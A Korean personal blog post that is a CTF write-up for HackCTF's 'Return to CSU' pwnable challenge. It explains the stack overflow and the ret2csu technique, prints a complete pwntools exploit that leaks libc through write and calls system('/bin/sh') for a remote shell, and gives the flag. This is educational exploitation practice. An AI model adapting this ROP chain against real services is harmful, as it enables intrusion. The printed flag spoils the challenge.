진짜 오랜만에 롸업이다
사실 문제는 푼 지는 되게 오래됬지만
최근들어 대학은 가야되는데 해킹 공부를 하고 있는게 맞는건가 싶기도 하고
그냥 요즘 들어 마음이 복잡하기도 해서 여태까지 문제는 많이 풀었는데 롸업은 올리지 않았다
뭐 사실 최근에 힙 다 까먹어서 다시 정리하고 있기는 한데ㅋㅋ;
그냥 오늘은 새벽에 생각 정리도 할려고 롸업을 써보려고 한다
아마도 롸업 여러개가 올라갈거 같긴 한데 어짜피 어려운 문제는 아니니까 후딱 써보도록 하자
잡담이 길어졌는데 진짜 시작~
- Mitigation -
0x200만큼 받아서 bof 발생 -> rop 가능
사용 가능한 함수에 puts가 없어서 rdi 가젯만으로는 libc leak 불가능
그러면 read, write로 libc leak을 해야되는데 gadget도 없음
그래서 문제 제목처럼 return to csu로 긁어주면 됨
https://py0zz1.tistory.com/107
쉽게 생각하면 그냥 two stage로 생각하면 된다.
__libc_csu_init에 있는 pop 가젯들로 레지스터에 값 넣어주기
= stage one
rdx, rsi, edi register에 값 옮겨주면서 function call
= stage two
위 기법을 잘 생각하면서 익스를 짜보자
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./prob")
libc = ELF("./libc.so.6")
stage1 = 0x00000000004006BA
stage2 = 0x00000000004006A0
payload = ""
payload += "A" * 0x40
payload += "B" * 0x8
payload += p64(stage1)
payload += p64(0)
payload += p64(1)
payload += p64(e.got['write'])
payload += p64(8)
payload += p64(e.got['write'])
payload += p64(1)
payload += p64(stage2)
payload += p64(0) * 0x7
payload += p64(e.sym['main'])
p.sendlineafter("\n", payload)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.sym['write']
print hex(libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search('/bin/sh\x00'))
payload = ""
payload += "A" * 0x40
payload += "B" * 0x8
payload += p64(0x00000000004006c3)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('\n', payload)
p.interactive()
return to csu로 libc leak 후에 system, binsh로 익스~
기법만 잘 알고 있으면 쉬운 문제
FLAG = HackCTF{4ll_r1ght_c5u_1n1t!}
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] World Best Encryption Tool (0) | 2021.10.18 |
---|---|
[Pwnable] Register (0) | 2021.10.18 |
[Pwnable] SysROP (0) | 2021.03.08 |
[pwnable] Look at me (0) | 2021.02.22 |
[Pwnable] RTL_Core (0) | 2021.02.07 |